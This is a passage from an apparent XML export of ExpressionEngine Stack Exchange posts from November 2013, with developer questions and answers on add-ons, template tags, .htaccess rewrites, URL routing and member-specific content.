/home/user/public_html/example.com/system/expressionengine/third_party/low_events/libraries/Low_date.php:114 0.3606 25816192 15. DateTime-&amp;gt;__construct() /home/user/public_html/example.com/system/expressionengine/third_party/low_events/libraries/Low_date.php:448 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When doing a &lt;code&gt;var_dump($date_from)&lt;/code&gt; inside of the &lt;code&gt;Low_events::_init_date()&lt;/code&gt; method, it prints out &lt;code&gt;string(24) &quot;{exp:low_nice_date date=&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2013-11-21T14:44:31.253" Title="Trouble with Low Events / Low Nice Date / Mo' Variables" Tags="|date|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16993" PostTypeId="2" ParentId="16992" CreationDate="2013-11-21T14:44:31.253" Score="1" Body="&lt;p&gt;Try adding parse=&quot;inward&quot; to the exp:low_events:entries tag. That should allow you to use a plugin as a parameter.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-21T14:44:31.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16994" PostTypeId="2" ParentId="16966" CreationDate="2013-11-21T17:15:00.630" Score="0" Body="&lt;p&gt;While not allowing you set a max file size CE Image will let you set an image quality percentage - see the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters&quot; rel=&quot;nofollow&quot;&gt;docs here&lt;/a&gt;. Otherwise I think Max's answer is best ATM.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-21T17:15:00.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16997" PostTypeId="1" AcceptedAnswerId="16998" CreationDate="2013-11-21T17:44:57.693" Score="2" ViewCount="68" Body="&lt;p&gt;Is there a good way to handle giving your clients easy access to an Add-On? For example, I'm using Low Variable to allow a client to edit their homepage content. But as far as I can tell in order for them to do that I have to give them access to Add-Ons and Modules, which they have to click through to get to Low Variables. I wish I could just give them single-click access directly to Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, I've added a custom tab to the CP for this kind of thing (which even lets me give it a better name like &quot;Edit Homepage&quot;), but that really doesn't scale well since it requires logging in as each member one at a time, and you have to remember to do it every time you add a new member. I'd probably just keep doing this anyway if it didn't require also making the Add-Ons tab visible anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? How does everyone else handle this? Any way to hide the Add-Ons tab?&lt;/p&gt;&#xA;" OwnerUserId="2339" LastActivityDate="2013-11-21T18:23:36.707" Title="Deploying Add Ons to Clients?" Tags="|add-on|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16998" PostTypeId="2" ParentId="16997" CreationDate="2013-11-21T17:49:25.593" Score="4" Body="&lt;p&gt;Adding a custom CP navigation tab is the best way to do it. But as you said it is tedious to log in as each individual user and manually create the link. There are two add-ons that will enable you to do it on a per-member-group basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://devot-ee.com/add-ons/member-group-tabs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Member Group Tabs&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension allows you to create navigation tabs for entire member&#xA;  groups in the ExpressionEngine control panel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Zoo Flexible Admin&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Zoo Flexible Admin lets you fully customize the control panel menu per&#xA;  membergroup. Insert custom links, rename, re-order and remove menu&#xA;  items in order to create a more intuitive menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Zoo Flexible Admin is &lt;em&gt;really&lt;/em&gt; powerful, giving you complete control of the CP navigation per member group. So if you did want to hide the Add-Ons tab as you described, this would be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-21T17:54:48.210" LastActivityDate="2013-11-21T17:54:48.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16999" PostTypeId="2" ParentId="16689" CreationDate="2013-11-21T17:59:06.123" Score="2" Body="&lt;p&gt;What I ended up using was a siblings tag, which I somehow missed when I initially posted this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{siblings field=&quot;publisher_rel&quot;}&#xA;    {if siblings:title}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Publisher: &amp;lt;/strong&amp;gt;{siblings:title}{/if}&#xA;{/siblings}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="2339" LastEditDate="2013-11-21T18:11:57.873" LastActivityDate="2013-11-21T18:11:57.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17000" PostTypeId="2" ParentId="16997" CreationDate="2013-11-21T18:23:36.707" Score="1" Body="&lt;p&gt;Zoo Flexible Admin is stellar, as the others have said; if you're using Structure, the &quot;&lt;a href=&quot;http://devot-ee.com/add-ons/encaf-where-is-the-lv&quot; rel=&quot;nofollow&quot;&gt;Encaf Where is the LV?&lt;/a&gt;&quot; add-on is also a good alternative.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-21T18:23:36.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17001" PostTypeId="1" CreationDate="2013-11-21T18:31:34.323" Score="1" ViewCount="81" Body="&lt;p&gt;I have a checkbox field in my form where the values are from another channels title field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to have only entries with status=&quot;open&quot; to appear in the checkbox group.  My code below however, is not working.  Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:assigned_editor&#xA;                attr:id=&quot;238&quot;&#xA;                attr:class=&quot;radio&quot;&#xA;                status=&quot;open&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2013-11-21T18:40:31.477" Title="Freeform field staus option?" Tags="|solspace-freeform|checkbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17002" PostTypeId="2" ParentId="17001" CreationDate="2013-11-21T18:40:31.477" Score="1" Body="&lt;p&gt;I would suggest embedding your freeform code and then passing a variable with for status something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot;}&#xA;&#xA;some code here&#xA;&#xA;{embed=&quot;template_group/freeform_form&quot; entries_status=&quot;{status}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the freeform embed code you would do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:assigned_editor&#xA;                attr:id=&quot;238&quot;&#xA;                attr:class=&quot;radio&quot;&#xA;                status=&quot;{embed:entries_status}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-21T18:40:31.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17003" PostTypeId="2" ParentId="15576" CreationDate="2013-11-21T20:26:09.453" Score="0" Body="&lt;p&gt;We were able to get this working by following point 1 above using CT2.4 with EE2.7.2 with the PayPoint.net gateway (&lt;a href=&quot;https://github.com/dmlogic/ct_paypoint&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dmlogic/ct_paypoint&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-11-21T20:26:09.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17004" PostTypeId="2" ParentId="15576" CreationDate="2013-11-21T20:31:55.437" Score="0" Body="&lt;p&gt;I'm having similar issues with Sagepay and getting nowhere fast (frustrating lack of support!). However, I thought I should add that you can edit extload.php with your custom system name (and location) - so you don't have to stick with 'system'&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-21T20:31:55.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17005" PostTypeId="2" ParentId="16929" CreationDate="2013-11-21T21:25:57.867" Score="1" Body="&lt;p&gt;Bounced this issue up to EllisLab's private support. The answer might be unique to my host but the issue appears to be with their security measures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content in question happened to contain a phrase which spambots might use. The speculation is the host is using mod_security rules to prevent that phrase on index.php pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended workaround is to use admin.php to log into the CP as that page is likely not blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, your mileage may vary, but if future developers run into a similar issue... try admin.php.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-21T21:25:57.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17006" PostTypeId="1" CreationDate="2013-11-21T21:51:53.860" Score="3" ViewCount="69" Body="&lt;p&gt;So, in a member profile, I have created a custom field for company_state as a select and its populated with the US States. I cannot for the life of me figure out how to render out a select with those options for selection in a frontend form (I am using Solspace User's user:edit if it matters.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody know how to do this? Would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="69" LastEditDate="2013-11-22T07:56:52.280" LastActivityDate="2013-11-23T03:01:01.320" Title="How do I create a select on a frontend template from custom member data?" Tags="|members|forms|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17007" PostTypeId="1" CreationDate="2013-11-21T21:53:07.203" Score="2" ViewCount="94" Body="&lt;p&gt;My client needs to be able to invoice customers, have them pay online, and then see payment history. I was planning on having the client enter an unpaid order and assign it to the right member. Then the member could login in, see unpaid orders, and pay them. I'm not very familiar with store. Do you see any major problems with this approach? Is this even doable out of the box? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1237" LastEditorUserId="150" LastEditDate="2013-11-23T00:08:23.767" LastActivityDate="2013-12-23T00:32:14.380" Title="Expresso Store: Creating orders on behalf of other members" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17008" PostTypeId="1" AcceptedAnswerId="17070" CreationDate="2013-11-21T22:42:32.860" Score="1" ViewCount="290" Body="&lt;p&gt;Currently, I have Strict URLs disabled in my global preferences so that if somebody tries to access a page that doesn't exist, it will just bring them to the homepage. However, this only works on pages that are in the root of the folder structure. For instance if I go to &lt;a href=&quot;http://mysite.com/nonexistant&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/nonexistant&lt;/a&gt; it will reroute me to the homepage as it should, but if I go to &lt;a href=&quot;http://mysite.com/about/nonexistant&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about/nonexistant&lt;/a&gt; it presents a blank white page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried enabling Strict URLs and specifying a 404 page(because this will be what I do eventually) and the same issue occurred. &lt;a href=&quot;http://mysite.com/nonexistant&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/nonexistant&lt;/a&gt; shows me my 404 page, but &lt;a href=&quot;http://mysite.com/about/nonexistant&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about/nonexistant&lt;/a&gt; displays a blank white page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2017-08-14T20:48:23.233" Title="Non-existant subdirectory URLs display a blank white page instead of redirecting to homepage" Tags="|url|404|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17009" PostTypeId="1" AcceptedAnswerId="17027" CreationDate="2013-11-21T22:58:14.220" Score="1" ViewCount="41" Body="&lt;p&gt;We have a channel of article content (called 'Articles'), and each of those entries is categorized as either a 'standard, case study or bulletin.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 other channels, and I want to select when an entry in the 'Articles' channel is posted, which other channel it's also relevant to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, I post a &quot;Latest Study&quot; entry to the 'Articles' channel, and want to indicate that it's also relevant to channel 2 and 3. This way it can auto-populate the other channels.  If categories were not already used, I would likely have done it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this with relationships? I haven't used the new relationships from 2.6 very much. I tried setting it up but it was going the wrong way (pulling content from the other channels into the 'articles' channel, rather than the other way around).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I am saying, I want to dictate from the pool of articles in one channel, what's relevant to other channels... other than using categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. I have a feeling it's something obvious I am not considering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-11-22T04:29:21.137" LastActivityDate="2013-11-22T08:24:26.537" Title="Tagging content in one channel for other channels" Tags="|relationships|multiselect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17010" PostTypeId="2" ParentId="16949" CreationDate="2013-11-22T00:19:01.977" Score="1" Body="&lt;p&gt;User has a &lt;strong&gt;related members (authors)&lt;/strong&gt; feature that lets you link multiple users to an entry. &lt;strong&gt;However, it does not give the same permissions as the &quot;real&quot; entry author&lt;/strong&gt;. In a way, it is somewhat like a &quot;Playa for users&quot; where you can related members to an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;{exp:user:authors}&lt;/code&gt;&lt;/strong&gt; tag is the tag to use to list these related members. You could use this to display content only when the currently logged in member is a related member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's assume you know the entry_id from the URL's {segment_3}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:authors&#xA;  entry_id=&quot;{segment_3}&quot;&#xA;}&#xA;    {if logged_in_member_id == member_id}&#xA;       // Display your entry data&#xA;    {/if}&#xA;{/exp:user:authors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you could start with {exp:channel:entries}, and have {exp:user:authors} inside to do something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries /* your parameters */}&#xA;   {exp:user:authors entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot;}&#xA;       {if logged_in_member_id == member_id}&#xA;         // Display your entry data&#xA;       {/if}&#xA;   {/exp:user:authors}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if you have parsing issues, you might need to use an embed for {exp:user:authors}.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-22T00:19:01.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17011" PostTypeId="1" CreationDate="2013-11-22T00:21:51.290" Score="0" ViewCount="73" Body="&lt;p&gt;We just moved to a new server and upgraded Exp Eng to version 2.7. I also installed version 5.4.10a of Channel Images on the server. Now when I go to the channel fields setup all of the previously defined image sizes are gone. Saving/updating the custom field deletes them entirely. Also, clicking on the Add new size button does nothing. Something appears broken somewhere. Also, when I click the test file upload location it gives me an error about Cloud settings. We aren't using a cloud service, the files are on the localhost. Any ideas/suggestions?&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-11-23T22:31:13.187" Title="Using Channel Images version 5.4.10 on Exp Eng 2.7 we have we lost all image sizes" Tags="|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17012" PostTypeId="1" AcceptedAnswerId="17399" CreationDate="2013-11-22T02:57:47.153" Score="1" ViewCount="1227" Body="&lt;p&gt;I've tried the tips here:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14320/404-on-every-template-and-tpl-group&quot;&gt;404 on Every Template and TPL group&lt;/a&gt;&lt;br&gt;&#xA;and here:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4954/404-error-on-all-templates-but-homepage-after-removing-index-php&quot;&gt;404 error on all templates but homepage after removing index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the index by using the default url (on my localhost, port 8040)   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost:8040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I cannot access any other templates:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost:8040/cursos   &#xA;http://localhost:8040/programas&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on &#xA;RewriteCond $1 ^(cursos) [NC] &#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;RewriteEngine on &#xA;RewriteCond $1 !^(images|js|css|crmi_cms|themes|favicon\.ico|robots\.txt|index\.php) [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my template directory structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;expressionengine    &#xA;    templates    &#xA;        default_site    &#xA;            cursos.group    &#xA;                index.html    &#xA;            programas.group    &#xA;                index.html    &#xA;            site.group    &#xA;                index.html    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;site.group/index.html is default site home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried moving the cursos.group index to the site.group and renaming it to cursos.html.&#xA;Still nothing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-07-07T23:32:30.727" Title="templates not being served, could it be .htaccess?" Tags="|templates|htaccess|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17013" PostTypeId="1" CreationDate="2013-11-22T03:45:03.927" Score="1" ViewCount="90" Body="&lt;p&gt;I'm looking to organize and display a library of books.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within each book are chapters and my plan was to use the new Relationship features within EE to relate the entries made in a separate &quot;chapters&quot; channel to a particular &quot;book&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the Grid is possibly a better way of entering the chapter listing for each book without creating separate channels or relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to include a link to a file with each chapter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion as to how to best structure this and take advantage of some of the newer EE features in 2.7.2 would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-11-22T08:14:36.317" Title="Using Relationships or Grid to structure content of books" Tags="|channel-entries|relationships|channel|grid|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17014" PostTypeId="1" CreationDate="2013-11-22T04:28:06.343" Score="1" ViewCount="23" Body="&lt;p&gt;I am trying to convert a field type from a textarea with textile formatting to use Wygwam.  I am getting a long hang time and then a 500 server error.  The amount of articles using this field is over 1200, but if I change the field to wygwam without converting the textile the formatting is all messed up.  Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2013-11-23T02:44:45.107" Title="Getting 500 error when trying to convert textile field to Wygwam field" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17016" PostTypeId="1" AcceptedAnswerId="17024" CreationDate="2013-11-22T04:52:53.403" Score="2" ViewCount="69" Body="&lt;p&gt;EE doesn't allow you to make template groups within groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're looking to have &quot;books/chapters/&quot; or &quot;book/chapters/summary&quot; and this didn't happen coincide with channel entries, would the best bet be to use url_segments to simply control with a single template what's  actually displayed?&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-11-22T08:02:58.353" Title="Templates and URL Structure" Tags="|templates|channel|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17017" PostTypeId="1" AcceptedAnswerId="17033" CreationDate="2013-11-22T05:26:27.053" Score="2" ViewCount="115" Body="&lt;p&gt;I'm wanting to use Low Search to do a simple keyword search on a single channel, but then show the results using Low Alphabet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't quite figure out if this is something you can do 'out of the box' (ie they just integrate because they are super awesome), or if it's something I can 'hack' together in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else tackled this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2013-11-22T10:38:35.890" Title="Show Low Search results with Low Alphabet" Tags="|low-search|low-alphabet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17018" PostTypeId="2" ParentId="16912" CreationDate="2013-11-22T05:49:46.047" Score="1" Body="&lt;p&gt;For anyone else that might stumble on this question, it turns out there was a bug in Matrix 2.5.10 that was impacting my specific issue. They've got a patch in place and it sounds like they'll be releasing an update soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out &lt;code&gt;{field_row_count}&lt;/code&gt; works exactly as I was expecting it to. Yip! &lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-11-22T05:49:46.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17019" PostTypeId="1" CreationDate="2013-11-22T06:05:41.433" Score="2" ViewCount="301" Body="&lt;p&gt;I am developing a site where I need to manage the URLs like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.site.com/CATEGORY-URL-TITLE&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/CATEGORY-URL-TITLE&lt;/a&gt; : To show the the entries of that category in segment 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.site.com/CATEGORY-URL-TITLE/ENTRY-URL-TITLE&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/CATEGORY-URL-TITLE/ENTRY-URL-TITLE&lt;/a&gt; : To show the individual entry of category in segment 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.site.com/MEMBER-USERNAME&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/MEMBER-USERNAME&lt;/a&gt; : To show all the entries of authored by member in segment 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.site.com/MEMBER-USERNAME/ENTRY-URL-TITLE&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/MEMBER-USERNAME/ENTRY-URL-TITLE&lt;/a&gt; : Individual entry of that member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please anyone give me some guideline how can I manage the URL structure like that. Please let me know if there is any third party addon which can do it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Actually, I wouldn't like to make any changes into home template for having so many conditions for checking categories or username. So looking for some technique if another template (not home template) can be rendered for such type of URLs. I think, it would be possible with sessions_start hook but still couldn't find how to route or render a template for such type of URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for URI like /member_username/xyz would route/render the template template_group/template_name.&#xA;As with the hook sessions_start, I would be able to check if first segment is any member's username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would give some more idea to share your solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-11-25T12:24:22.320" LastActivityDate="2013-11-25T16:57:49.980" Title="Managing Category URLs" Tags="|url|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17020" PostTypeId="1" AcceptedAnswerId="17068" CreationDate="2013-11-22T06:07:57.383" Score="1" ViewCount="104" Body="&lt;p&gt;We have a system of creating a client entry when someone registers for our site.  We can add more information to the client entry from the Content &gt; Edit forms. The problem I am having is limiting channel entry results by screen name. The title of every client entry is screen_name, but I am not able to narrow entry data by screen_name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also have Matrix fields so organizing those is difficult.  Below is an example of the code I have been working with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;clients&quot; member_=&quot;CURRENT_USER&quot;}&#xA;                                {client_project}&amp;lt;tr&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;{entry_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;/client/client_project/{entry_id}&quot; class=&quot;view&quot;&amp;gt;View&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;{/client_project}&#xA;                            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code produces no resutls.  Also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;clients&quot; orderby=&quot;logged_in_screen_name&quot; limit=&quot;1&quot;}&#xA;                                {client_project}&amp;lt;tr&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;{entry_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;                                        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;/client/client_project/{entry_id}&quot; class=&quot;view&quot;&amp;gt;View&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;{/client_project}&#xA;                            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns a result, but not the correct one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="804" LastEditorUserId="120" LastEditDate="2013-11-22T08:03:06.563" LastActivityDate="2013-11-23T02:38:28.570" Title="displaying content by screen_name" Tags="|member-management|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17021" PostTypeId="2" ParentId="1529" CreationDate="2013-11-22T06:53:50.557" Score="1" Body="&lt;p&gt;Obviously, modifying these files is not ideal and without some kind of conditionals you won't be able to reuse playa field types for anything else, but if you must here is what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3 files that I needed to modify:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;system/expressionengine/third_party/playa/ft.playa.php&lt;/li&gt;&#xA;&lt;li&gt;system/expressionengine/third_party/playa/helper.php&lt;/li&gt;&#xA;&lt;li&gt;system/expressionengine/third_party/playa/views/entry.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;First, in &lt;code&gt;ft.playa.php&lt;/code&gt; in the &lt;code&gt;display_field&lt;/code&gt; method you need to change the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;                'SELECT * FROM exp_channel_titles&#xA;                WHERE entry_id '.$this-&amp;gt;helper-&amp;gt;param2sql($vars['selected_entry_ids']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to join on the &lt;code&gt;exp_channel_data&lt;/code&gt; table and select your custom field. This is for your saved selected item(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, in &lt;code&gt;helper.php&lt;/code&gt; in the &lt;code&gt;entries_query&lt;/code&gt; method you need to change the query being built in a few places to join on the &lt;code&gt;exp_channel_data&lt;/code&gt; table and select your field. This is for the available unselected options. Also, in the same method under &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($params['keywords']) &amp;amp;&amp;amp; $params['keywords'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you have to add a search for your custom field. This code is executed when a user is typing in the multi-select playa field via ajax to filter out entries. The filter for the single select playa field is just a javascript regex so, in that case, you need not worry about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you need to print your custom field in the &lt;code&gt;entry.php&lt;/code&gt; 